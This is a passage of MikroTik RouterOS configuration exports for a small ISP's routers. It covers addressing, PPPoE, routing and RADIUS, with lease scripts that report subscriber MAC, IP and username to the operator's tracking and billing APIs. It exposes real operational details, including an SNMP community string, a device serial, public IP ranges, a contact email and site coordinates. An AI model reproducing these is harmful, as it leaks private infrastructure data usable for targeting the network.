\_[find where address=\94\$address\94 and !authorized and !bypassed]" \
session-timeout=6h status-autorefresh=6m
/ip ipsec proposal
set [ find default=yes ] auth-algorithms=sha256 enc-algorithms=\
aes-256-cbc,aes-128-cbc pfs-group=modp2048
/ip pool
add name=culleoka-cgnat ranges=100.64.25.1-100.64.27.199
add name=cpe ranges=10.10.96.1-10.10.110.254
add name=culleoka-tower ranges=10.0.104.1-10.0.104.99
add name=clayton ranges=100.64.128.1-100.64.130.254
add name=culleoka-cgnat-new ranges=100.64.96.1-100.64.111.253
/ip dhcp-server
add address-pool=cpe interface=mgmt lease-script="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
c24944-c947-4e01-9c54-07a1653d2e3e\"\
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
\n:local max 1\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n :if (\$leaseBound = 0) do {\
\n # Try url2 (iptrack.vntx.net) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
t for \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n # Try url (gaiia) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
or \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 3s;\
\n }\
\n } else {\
\n :delay 1s;\
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
seActIP] agent-remote-id];\
\n\
\n # Try url2 (iptrack.vntx.net) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
;\
\n }\
\n\
\n # Try url (gaiia) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 30s;\
\n }\
\n }\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" lease-time=1h name=cpe use-radius=accounting
add address-pool=culleoka-tower interface=culleoka-tower lease-script="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
c24944-c947-4e01-9c54-07a1653d2e3e\"\
\n:local max 1\
\n\
\n:local attempts 0\
\n:local success 0\
\n\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n :if (\$leaseBound = 0) do {\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=po\
st \\\
\n http-data=\"{\\\"bound\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\
\"\$leaseActMAC\\\",\\\"ip\\\":\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$l\
easeServerName\\\",\\\"remoteId\\\":\\\"\\\"}\"\
\n :set success 1;\
\n } on-error={\
\n :log error \"DHCP FAILED to send unassignment to gaiia on attempt \
\$attempts/\$max for \$leaseBound / \$leaseActMAC / \$leaseActIP / \$remot\
eID\";\
\n :delay 3s;\
\n }\
\n\
\n } else {\
\n\
\n :delay 1s;\
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
seActIP] agent-remote-id];\
\n\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=po\
st \\\
\n http-data=\"{\\\"bound\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\
\"\$leaseActMAC\\\",\\\"ip\\\":\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$l\
easeServerName\\\",\\\"remoteId\\\":\\\"\$remoteID\\\"}\"\
\n :set success 1;\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to gaiia on attempt \$\
attempts/\$max for \$leaseBound / \$leaseActMAC / \$leaseActIP / \$remoteI\
D\";\
\n :delay 30s;\
\n }\
\n }\
\n\
\n :if (\$success) do {\
\n :log info \"DHCP lease message successfully sent \$leaseActMAC / \$l\
easeActIP to gaiia\";\
\n :set attempts \$max;\
\n }\
\n\
\n} while (\$attempts < \$max)\
\n\
\n}\
\n" lease-time=1h name=culleoka-tower
add address-pool=clayton disabled=yes interface=vlan_30_clayton lease-time=\
10m name=clayton
/ip smb users
set [ find default=yes ] disabled=yes
/ipv6 pool
add name=climax-v6 prefix=2606:1c80:1:4000::/52 prefix-length=64
/ppp profile
add change-tcp-mss=yes dns-server=204.110.191.240,204.110.191.20 \
local-address=100.64.27.253 name=pppoe on-down="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 1\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
\_for \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (AWS API)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
r \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" on-up="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 5\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
or \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (gaiia)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
\$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" only-one=no remote-address=culleoka-cgnat use-compression=no \
use-encryption=no use-ipv6=no use-mpls=no use-upnp=no
/queue simple
add burst-limit=1/1 burst-threshold=1/1 burst-time=1s/1s limit-at=1/1 \
max-limit=1/1 name=Inactive packet-marks=Inactive priority=2/2 target=""
/queue type
add kind=fq-codel name=fq-codel
/queue interface
set combo1 queue=fq-codel
set ether1-climax-11ghz queue=fq-codel
set ether2-netonix queue=fq-codel
set ether3 queue=fq-codel
set ether4-climax queue=fq-codel
set ether5-jeff-tv queue=fq-codel
set ether6-380-11ghz queue=fq-codel
set "ether7-maybe-bad\?" queue=fq-codel
set sfp-sfpplus1-10g-switch queue=fq-codel
/routing bgp instance
add as=393837 name=bgp-instance-1 router-id=10.254.254.104
/routing bgp template
set default as=393837 disabled=yes output.network=bgp-networks .redistribute=\
connected
/routing id
add disabled=no id=10.254.254.104 name=id-1 select-dynamic-id=""
/routing ospf instance
add disabled=no in-filter-chain=ospf-in name=default-v2 out-filter-chain=\
ospf-out redistribute=connected router-id=id-1
add disabled=no in-filter-chain=ospf-in name=default-v3 out-filter-chain=\
ospf-out redistribute=connected router-id=id-1 version=3
/routing ospf area
add disabled=no instance=default-v2 name=backbone-v2
add disabled=no instance=default-v3 name=backbone-v3
/snmp community
set [ find default=yes ] addresses=204.110.188.0/22,10.0.0.0/8 name=\
kdyyJrT0Mm
/system logging action
add name=Syslog remote=204.110.191.234 remote-log-format=syslog src-address=\
10.254.254.104 target=remote
add name=logs remote=204.110.191.229 src-address=10.254.254.104 target=remote
/interface bridge port
add bridge=culleoka hw=no ingress-filtering=no interface=ether2-netonix \
internal-path-cost=10 path-cost=10
add bridge=culleoka disabled=yes ingress-filtering=no interface=\
sfp-sfpplus1-10g-switch internal-path-cost=10 path-cost=10
add bridge=culleoka disabled=yes ingress-filtering=no interface=*10 \
internal-path-cost=10 path-cost=10
add bridge=mgmt ingress-filtering=no interface=vlan10_ether2 \
internal-path-cost=10 path-cost=10
/ip firewall connection tracking
set icmp-timeout=30s tcp-close-wait-timeout=1m tcp-established-timeout=4h \
tcp-fin-wait-timeout=2m tcp-last-ack-timeout=30s \
tcp-syn-received-timeout=1m tcp-syn-sent-timeout=2m \
tcp-time-wait-timeout=2m udp-stream-timeout=2m
/ip settings
set tcp-syncookies=yes
/interface pppoe-server server
add accept-empty-service=no authentication=chap,mschap2 default-profile=pppoe \
disabled=no interface=ether2-netonix max-mtu=1492 service-name=culleoka
add default-profile=pppoe disabled=no interface=vlan_30_clayton max-mtu=1492 \
one-session-per-host=yes service-name=clayton
add default-profile=pppoe disabled=no interface=ether5-jeff-tv max-mtu=1492 \
one-session-per-host=yes service-name=jeff-tv
add default-profile=pppoe disabled=no interface=vlan100_netonix8 max-mtu=1492 \
one-session-per-host=yes service-name=service1
add default-profile=pppoe disabled=no interface=vlan101_netonix9 max-mtu=1492 \
one-session-per-host=yes service-name=service2
add default-profile=pppoe disabled=no interface=vlan102_netonix10 max-mtu=\
1492 one-session-per-host=yes service-name=service3
add default-profile=pppoe disabled=no interface=vlan103_netonix13 max-mtu=\
1492 one-session-per-host=yes service-name=service4
add default-profile=pppoe disabled=no interface=vlan104_netonix14 max-mtu=\
1492 one-session-per-host=yes service-name=service5
/interface sstp-server server
set certificate=vntx.net.pem_0
/ip address
add address=10.254.254.104 interface=lo network=10.254.254.104
add address=100.64.27.254/22 interface=ether2-netonix network=100.64.24.0
add address=204.110.188.158/27 interface=public network=204.110.188.128
add address=10.0.104.254/24 interface=culleoka-tower network=10.0.104.0
add address=10.10.111.254/20 interface=vlan10_ether2 network=10.10.96.0
add address=10.250.1.9/29 interface=ether1-climax-11ghz network=10.250.1.8
add address=10.250.1.49/29 interface=ether6-380-11ghz network=10.250.1.48
add address=100.64.111.254/20 comment="cgnat /20 (renumber)" interface=\
ether2-netonix network=100.64.96.0
/ip dhcp-server
add add-arp=yes address-pool=culleoka-cgnat dhcp-option-set=vntx interface=\
ether2-netonix lease-script="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
c24944-c947-4e01-9c54-07a1653d2e3e\"\
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
\n:local max 1\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n :if (\$leaseBound = 0) do {\
\n # Try url2 (iptrack.vntx.net) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
t for \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n # Try url (gaiia) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
or \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 3s;\
\n }\
\n } else {\
\n :delay 1s;\
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
seActIP] agent-remote-id];\
\n\
\n # Try url2 (iptrack.vntx.net) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
;\
\n }\
\n\
\n # Try url (gaiia) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 30s;\
\n }\
\n }\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" lease-time=1h name=culleoka use-radius=accounting
/ip dhcp-server alert
add disabled=no interface=culleoka on-alert=rogue-dhcp valid-server=\
64:D1:54:D3:E1:50
/ip dhcp-server lease
add address=10.10.111.14 mac-address=44:D9:E7:A8:58:C9
add address=10.10.111.50 mac-address=DC:9F:DB:6F:A6:24
add address=10.10.111.30 mac-address=00:04:56:D7:AD:09
add address=10.10.111.31 mac-address=00:04:56:D7:A9:55
add address=10.10.111.32 mac-address=00:04:56:D7:A9:85
add address=10.10.111.1 mac-address=78:45:58:A0:03:F3
add address=10.10.111.2 mac-address=78:45:58:A0:03:FC
add address=10.10.111.33 mac-address=58:C1:7A:73:BF:9E
add address=10.10.111.12 mac-address=78:45:58:A2:A9:0A
add address=10.10.111.34 mac-address=58:C1:7A:71:C5:25
add address=10.10.111.11 mac-address=78:45:58:A2:EC:F9
add address=10.10.111.61 mac-address=78:8A:20:EC:76:DC
add address=10.10.111.60 mac-address=44:D9:E7:5A:A8:0E
/ip dhcp-server network
add address=10.0.104.0/24 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=10.0.104.254 ntp-server=204.110.191.19
add address=10.10.96.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=10.10.111.254 ntp-server=204.110.191.19
add address=100.64.24.0/22 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=100.64.27.254 ntp-server=204.110.191.19
add address=100.64.96.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=100.64.111.254 ntp-server=204.110.191.19
add address=204.110.188.128/27 dns-server=204.110.191.240,204.110.191.20 \
domain=vntx.net gateway=204.110.188.158 ntp-server=204.110.191.19
/ip dhcp-server option sets
add name=vntx options=*1
/ip dns
set servers=9.9.9.9,1.1.1.1
/ip firewall address-list
add address=10.254.254.104 disabled=yes list=bgp-networks
add address=10.10.96.0/20 disabled=yes list=bgp-networks
add address=100.64.24.0/22 disabled=yes list=bgp-networks
add address=204.110.188.128/27 disabled=yes list=bgp-networks
/ip firewall filter
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (out)" out-interface=ether6-380-11ghz
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (in)" in-interface=ether6-380-11ghz
add action=fasttrack-connection chain=forward comment=\
"fasttrack established/related" connection-state=established,related
add action=accept chain=forward comment="accept established/related" \
connection-state=established,related
/ip hotspot ip-binding
add address=100.64.27.97 type=bypassed
add address=100.64.25.4 type=bypassed
add address=100.64.26.42 type=bypassed
add mac-address=E4:C3:2A:A1:11:50 type=blocked
add address=1.1.1.1 type=bypassed
add address=10.100.111.0/24 type=bypassed
add address=100.64.27.252 type=bypassed
add address=10.10.0.0/16 type=bypassed
add address=100.64.27.240 mac-address=F0:9F:C2:0D:56:F3 server=hotspot1 \
to-address=100.64.27.240 type=bypassed
add address=100.64.27.166 mac-address=24:A4:3C:32:18:D0 server=hotspot1 \
to-address=100.64.27.166 type=bypassed
add address=100.64.27.248/29 type=bypassed
add address=100.64.27.253 type=bypassed
add address=100.64.27.250 type=bypassed
add address=100.64.24.0/22
add address=204.110.188.128/27
add address=0.0.0.0/0 type=blocked
/ip hotspot walled-garden
add comment="place hotspot rules here" disabled=yes
/ip ipsec profile
set [ find default=yes ] dh-group=modp2048 enc-algorithm=aes-256,aes-128 \
hash-algorithm=sha256
/ip proxy
set cache-path=web-proxy1 port=23435
/ip proxy access
add src-address=10.0.0.0/8
add src-address=204.110.188.0/22
add src-address=100.64.0.0/10
add action=deny
/ip route
add disabled=no dst-address=0.0.0.0/0 gateway=10.250.1.54
/ip service
set ftp address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set telnet address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set www address=204.110.188.0/22,10.0.0.0/8 disabled=yes port=81
set www-ssl address=204.110.188.0/22,10.0.0.0/8 certificate=vntx.net.pem_0
set ssh address=204.110.188.0/22,10.0.0.0/8 port=1022
set winbox address=204.110.188.0/22,10.0.0.0/8
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
set api-ssl certificate=vntx.net.pem_0
/ip ssh
set host-key-type=ed25519 password-authentication=yes strong-crypto=yes
/ip traffic-flow
set cache-entries=256k enabled=yes
/ipv6 address
add address=2606:1c80::4/128 advertise=no interface=*D
add address=2606:1c80:1:4000::/52 advertise=no interface=culleoka
add address=2606:1c80:0:10::2 interface=ether1-climax-11ghz
/ipv6 dhcp-server
add interface=culleoka name=server1 prefix-pool=climax-v6
/mpls interface
add interface=ether6-380-11ghz mpls-mtu=1508
/mpls ldp
add disabled=no lsr-id=10.254.254.104 transport-addresses=10.254.254.104 vrf=\
main
/mpls ldp interface
add interface=ether6-380-11ghz
/ppp aaa
set interim-update=1h use-radius=yes
/radius
add address=204.110.191.248 require-message-auth=no service=ppp,hotspot,dhcp \
src-address=204.110.188.158 timeout=2s
add address=204.110.191.2 require-message-auth=no service=ppp,hotspot,dhcp \
src-address=204.110.188.158 timeout=2s
add accounting-backup=yes address=45.76.56.5 disabled=yes \
require-message-auth=no service=ppp,hotspot,dhcp src-address=\
204.110.188.158 timeout=2s
/routing bfd configuration
add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5
/routing bgp connection
add afi=ip,ipv6 cisco-vpls-nlri-len-fmt=auto-bits connect=yes instance=\
bgp-instance-1 listen=yes local.role=ibgp name=culleoka_climax \
nexthop-choice=force-self remote.address=10.250.1.14 .as=393837 .port=179 \
templates=default
/routing filter rule
add chain=ospf-in disabled=no rule="accept;"
add chain=ospf-out disabled=no rule="accept;"
/routing ospf interface-template
add area=backbone-v2 auth=sha512 auth-id=1 cost=20 disabled=no interfaces=\
ether1-climax-11ghz priority=1 type=ptp use-bfd=yes
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
ether6-380-11ghz priority=1 type=ptp use-bfd=yes
add area=backbone-v3 cost=10 disabled=no passive priority=1 use-bfd=no
add area=backbone-v2 disabled=no passive
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=\
ether1-climax-11ghz type=ptp
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=\
ether6-380-11ghz type=ptp
/routing ospf static-neighbor
add address=10.250.1.14%ether1-climax-11ghz area=backbone-v2 comment=climax \
disabled=no poll-interval=10s
add address=10.250.1.54%ether6-380-11ghz area=backbone-v2 comment=380 \
disabled=no poll-interval=10s
/snmp
set contact=graham@vntx.net enabled=yes location="33.113681, -96.487876"
/system clock
set time-zone-name=America/Chicago
/system identity
set name=Culleoka
/system logging
add action=logs topics=info
add action=logs disabled=yes topics=dhcp
add disabled=yes topics=dhcp
/system note
set note="__ __\
\n\\ \\ / /__ _ __ ___ _ __ __ _\
\n \\ \\ / / _ \\ '__/ _ \\| '_ \\ / _` |\
\n \\ V / __/ | | (_) | | | | (_| |\
\n \\_/ \\___|_| \\___/|_| |_|\\__,_|\
\n _ _ _ _\
\n| \\ | | ___| |___ _____ _ __| | _____\
\n| \\| |/ _ \\ __\\ \\ /\\ / / _ \\| '__| |/ / __|\
\n| |\\ | __/ |_ \\ V V / (_) | | | <\\__ \\\
\n|_| \\_|\\___|\\__| \\_/\\_/ \\___/|_| |_|\\_\\___/\
\n\
\n###############################################################\
\n# Welcome to Verona Networks #\
\n# All connections are monitored and recorded #\
\n# Disconnect IMMEDIATELY if you are not an authorized user! #\
\n###############################################################\
\n\
\n" show-at-login=no
/system ntp client
set enabled=yes
/system ntp client servers
add address=ntp.vntx.net
add address=0.us.pool.ntp.org
/system package update
set channel=long-term
/system routerboard settings
# Firmware upgraded successfully, please reboot for changes to take effect!
set auto-upgrade=yes
/system scheduler
add interval=5m name=remove_hotspot on-event=\
"/ip hotspot host remove [/ip hotspot host find where !authorized]" \
policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive \
start-time=startup
add name=reboot on-event="/system reboot" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
2025-01-21 start-time=03:20:00
/system script
add dont-require-permissions=no name=rogue-dhcp owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=\
":log warning message=\"Rogue DHCP server detected!\""
/tool bandwidth-server
set enabled=no

689
mikrotik-tool/edge.rsc Normal file
View file

@ -0,0 +1,689 @@
# may/08/2026 17:46:02 by RouterOS 6.49.18
# software id = 8XZE-R7EJ
#
# model = CCR2004-1G-12S+2XS
# serial number = C8A70C55A930
/interface bridge
add name=cgnat
add fast-forward=no name=loopback
/interface ethernet
set [ find default-name=ether1 ] rx-flow-control=auto tx-flow-control=auto
set [ find default-name=sfp-sfpplus7 ] auto-negotiation=no name=\
sfp-sfpplus7-core-direct
set [ find default-name=sfp-sfpplus8 ] name=sfp-sfpplus8-server-switch \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=sfp-sfpplus10 ] rx-flow-control=auto tx-flow-control=\
auto
set [ find default-name=sfp-sfpplus11 ] name=sfp-sfpplus11-preseem \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=sfp-sfpplus12 ] l2mtu=1500 name=\
sfp-sfpplus12-spectrum rx-flow-control=auto tx-flow-control=auto
/interface vlan
add interface=sfp-sfpplus8-server-switch name=vlan9_sfpplus8 vlan-id=9
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/ip dhcp-server
add disabled=no interface=vlan9_sfpplus8 name=servers-public
/ip pool
add name=380building ranges=10.0.0.150-10.0.0.239
add name=servers-public ranges=204.110.191.193-204.110.191.217
/ip dhcp-server
add address-pool=380building disabled=no interface=sfp-sfpplus8-server-switch \
name=380-building
/ppp profile
add name=RWB_sstp_profile
/queue simple
add burst-limit=1M/1M burst-threshold=1M/1M burst-time=1s/1s disabled=yes \
limit-at=1M/1M max-limit=1M/1M name=Delinquent packet-marks=Delenquent \
priority=2/2 target=""
add burst-limit=1/1 burst-threshold=1/1 burst-time=1s/1s disabled=yes \
limit-at=1/1 max-limit=1/1 name=Inactive packet-marks=Inactive priority=\
2/2 target=""
/routing bgp instance
set default as=393837 out-filter=twc-out router-id=204.110.191.190
/routing ospf instance
set [ find default=yes ] distribute-default=always-as-type-1 router-id=\
10.254.254.254
/routing ospf-v3 instance
set [ find default=yes ] distribute-default=always-as-type-1 \
redistribute-connected=as-type-1 router-id=10.254.254.254
/snmp community
